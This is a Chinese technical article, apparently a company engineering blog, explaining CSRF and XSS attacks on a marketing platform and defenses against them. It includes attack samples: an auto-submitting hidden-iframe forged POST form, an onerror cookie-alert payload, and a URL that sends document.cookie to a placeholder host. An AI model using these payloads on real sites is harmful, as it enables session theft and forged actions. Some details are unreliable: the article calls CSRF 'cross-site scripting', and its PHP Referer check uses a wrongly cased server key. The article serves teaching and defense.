AI营销平台前端安全优化
综述
在AI营销平台网站的运营过程中,我们经历过界面和架构的升级,使系统更加美观和安全。本文将主要介绍AI营销平台如何在以下两个方面为用户提供安全保障
一. 跨站请求伪造攻击(CSRF)
首先来举个例子,例如小明在AI营销平台有账号,某天他在使用了营销平台之后,访问了未知的网站,然后几天后发现,营销平台投放了一些非正常订单,花费了大量金额,这就可能是被跨站请求攻击了。所以这个问题如果不被解决,可能会导致营销平台出现以下问题:
- 未知金额的消耗,用户有些未知的订单被投放出去,然后出现金额消耗
- 未知的投放引流,用户的素材或者投放落地页被未知修改,投放了被攻击的落地页
那么,这一系列的操作是如何实现的呢? 请看下图的操作步骤:
首先,要知道图中的步骤(6)操作为什么会被执行,推荐先参考阅读 理解HTTP session原理及应用。然后我们会得出以下结论:
- 大部分网站的用户信息存储在session中,而浏览器通过cookie中保存的sessionid来识别用户登陆
- cookie是浏览器根据域名和路径全共享的,在每次浏览器发送HTTP请求的时候,会自动携带当前域名下存储的cookie信息
而在图中,网站A可以被认为是营销云网站,而用户小明登陆营销云后,在步骤(4)中被钓鱼网站发送了一个投放钓鱼网站B的广告创建操作请求,如果营销云未实现CSRF攻击的防御,那么后面被攻击的结果就和图示是一样的。所以可以看出步骤(4)是CSRF攻击中的核心步骤,那么这个步骤是如何实现的呢?
实现CSRF攻击的方式
这里我们列举两种比较常见的实现方式:
1.服务端接收GET方式参数请求的攻击:
- 利用
<img src="XXX.Aweb.cn?XXX">
或者<a href="XXX.Aweb.cn?XXX">
这种直接链接方式,可以发送一个图片或者访问请求,携带参数访问A网站的某个接口 - 利用
script
标签可以发送一个GET请求,携带你需要的参数访问,例如<script src="XXX.Aweb.cn?XXX" type="text/javascript">
2.服务端接收POST方式参数请求的攻击:
首先来看一下下面这个示例代码:
<!DOCTYPE HTML> <html lang="en-US"> <head> <title>CSRF SHOW</title> </head> <body> <!--不嵌iframe会跳转--> <iframe style="display:none;"> <form name="form1" action="XXX.Aweb.cn" method="POST"> <input type="hidden" name="XXX" value="XXX"/> <input type="submit"> </form> <script> document.forms.form1.submit(); </script> </iframe> </body> </html>
可能很多人认为上面的iframe可以实现CSRF攻击,但是其实是错误的,由于
同源策略
(参考 浏览器同源策略及 Ajax 跨域解决方案),这样的iframe内容是不会被加载出来的,也就不会被执行出来。所以必须使用两层iframe嵌套的方法,也就是以下代码:<!DOCTYPE HTML> <html lang="en-US"> <head> <title>CSRF SHOW</title> </head> <body> <iframe style="display:none;" src="test2.html"></iframe> </body> </html>
而test2.html的内容也就如下,直接发送请求参数
<!DOCTYPE HTML> <html lang="en-US"> <head> <title>CSRF SHOW</title> </head> <body> <form name="form1" action="XXX.Aweb.cn" method="POST"> <input type="hidden" name="XXX" value="XXX"/> <input type="submit"> </form> <script> document.forms.form1.submit(); </script> </body> </html>
这样才可以实现POST的CSRF攻击
防御CSRF攻击的方法
既然我们知道怎么实现CSRF攻击,通过实现原理,那么我们也就可以总结出来如何防御CSRF攻击了,下面来说一下3种比较常见的防御方法:
1.通过请求来源Referer来检测用户提交
通过上面的例子应该都知道别人如何伪造请求,因为是在你浏览器下请求别人的网站,再由别人网站发送请求给你登陆的平台。那么防御的方式就简单了,我允许自己的域名使用服务,其他域名请求我全部拒绝,那不就完成防御了,所以这就是需要浏览器告诉我们是谁请求我们的服务,而在HTTP请求中Referer字段就是标识来源请求的地址
如上图所示,浏览器会根据你的域名自动添加 Referer ,当通过钓鱼网站发出请求的时候,来源 Referer 肯定就不是你所允许的域名,所以通过校验请求的来源域名,来确认是否是正当请求
以下以PHP代码示例
$Referer = isset($_SERVER['HTTP_Referer']) ? parse_url($_SERVER['HTTP_Referer']) : ""; if (!isset($Referer['host']) || !in_array($Referer['host'], ['XXXX','XXXX'])) { //CSRF验证未通过,可以提示错误或者返回403 }
注意
:
那么Referer是否是必会携带的呢?
现在的浏览器是肯定是会携带的,但是也有例外的,以下列举了一些不会携带Referer的场景
不通过浏览器的访问
正常请求携带Referer是由于通过浏览器请求,浏览器自动携带字段,那么不使用浏览器,就无法自动携带请求来源字段,所以这个时候攻击者可以随意更改Referer字段,让请求被允许,这样如果攻击者知晓了被攻击者的登陆sessionid信息就可以伪造CSRF攻击了,但是这种攻击难度较大,基本可以忽略不计老版本的浏览器
在一些老版本IE(Internet Explorer 微软公司出品的网页浏览器)浏览器进行操作的时候是会丢掉Referer的,例如在IE6,IE7的时候,在执行window.location.href
和window.open
的跳转和打开操作时候是会被丢掉Referer的。这是历史遗留问题,而且现在使用IE6,IE7版本的用户基本没有了,也不会造成大的问题
2.增加token调用许可的方法
CSRF攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的cookie 来通过安全验证
要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求
3.在 HTTP 头中自定义属性并验证
这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。这样解决了上种方法在请求中加入 token 的不便,同时通过设置请求header头字段 ,请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去
然而第(2)和(3)种方法的改动过大,由于需要在每个接口增加参数或者header属性,所以必须重构系统前后端调用模块,人力成本消耗较大。而营销云基于当前的现状考虑采用第(1)种方式防御CSRF攻击
二.跨站脚本攻击(XSS)
XSS攻击全称跨站脚本攻击,是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码。
那么我们为什么要防御这个攻击呢?它的危害有什么呢?
首先,举个例子,看下图代码:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>A</title> </head> <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script> <div style="width: 200px;"> 输入框: <textarea id="text" rows="10" cols="100"> </textarea> <button id="login">点击请求</button> </div> <br><br><br> <div id="textRe"></div> </body> <script type="text/javascript"> $('button').on('click', function () { var that = $(this); $.ajax({ url: 'session.php', type: 'POST', data: { 'data': $('#text').val() }, dataType: 'JSON', success: function (res) { $('#textRe').append(res.data + "<br>"); } }); }) </script> </html>
如果服务端接口不做任何过滤处理,将传入数据传回前端展示,当你在input框中输入 <img src="null" onerror='alert(document.cookie)'/>
,就会出现下图所示的结果:
那么从结果示例种我们可以看出,界面出现弹框,cookie信息被获取且展示出来了,那么如果不解决这个问题,营销平台将有下面的风险:
- 敏感信息被泄露,例如用户账号密码,一些核心投放策略,出价等等;
- 一些订单和投放策略被读取,篡改,添加或者删除;
而例子只是 XSS中反射式的注入方式,下面来概述一下这两种分类:
1.反射式漏洞
又称为非持久性跨站点脚本攻击,反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击
例如:
- 做个假设,当淘宝在搜索书籍,搜不到书的时候显示提交的名称
- 在搜索框搜索内容,填入“
<script>alert('i want a book')</script>
”, 点击搜索 - 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来
- 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
PS:这个地址当然是没效的,只是举例子而已
2.存储式漏洞
又称为持久型跨站点脚本,它一般发生在XSS攻击代码存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。例如评论,回复等等输入性文本框
例如:
- 发布一篇文章,里面包含了恶意脚本
今天XXXXX!<script>alert('i want a book')
- 后端没有对文章进行过滤,直接保存文章内容到数据库
- 当其他看这篇文章的时候,包含的恶意脚本就会执行
PS:因为大部分文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况
既然我们知道了危害和分类,那么我们如何避免这些损失呢? 下面列举了一些规避方法:
1.过滤数据
过滤相关的 css 和 script 标签代码,直接去除,这种是最直接,但是不适合用于所有的,因为有些数据是需要输入 css 和 script 代码的
2.转义数据
前后端接收请求时,也可以对数据进行转义编码,再由前后端进行转义输出,根据不同的服务端语言,可能提供的方式不同,以下以PHP举例
strip_tags($str, [允许标签]) #从字符串中去除 HTML 和 PHP 标记 htmlentities($str)函数 #转义html实体 html_entity_decode($str)函数 #反转义html实体 htmlspecialchars() #特殊字符转换为HTML实体 htmlspecialchars_decode() #将特殊的 HTML 实体转换回普通字符
3.设置cookie的HttpOnly属性
设置HttpOnly属性后 Cookie具有HttpOnly特性且不能通过客户端脚本访问, 防止出现XSS注入获取cookie和然后利用CSRF攻击相关服务,出现数据改删的一些问题
php设置是在php.ini中配置 session.cookie_httponly= 设置其值为1或者TRUE,来开启全局的Cookie的HttpOnly属性,也可以在代码中开启 <?php ini_set("session.cookie_httponly", 1);
三. XSS和CSRF 两种协同攻击
在 第二章 的示例中,假如我注入了CSRF的攻击链接 <script src="XXX.Aweb.cn?XXX" type="text/javascript">
, 每一个登陆用户都会请求这个地址一遍。假如这是一个转账接口调用,
登陆用户访问后都会被执行这个转账操作,而且是在登陆用户无法感知的情况
很多人会问,如果我的网站做到了CSRF的防御方法,这个CSRF攻击能不能成功呢?首先,CSRF被称为跨站脚本攻击,那我们用XSS注入的攻击,是跨站吗? 回答肯定不是,那么自己网站的请求怎么屏蔽,加上token令牌?这种也是不能避免的。因为你的token 在你的网站中肯定有获取途径,这种获取途径也是必须对本网站开放的,所以无论如何,本网站都必须能访问服务端这个先决条件导致了无法防御这个攻击
所以解决协同攻击,我们只能将XSS和CSRF都防范,不能让XSS和CSRF的任意一种攻击成功
总结
千里之行始于足下,安全问题刻不容缓。只有在每个方面都注重安全防护,才能在系统安全性上有更高的追求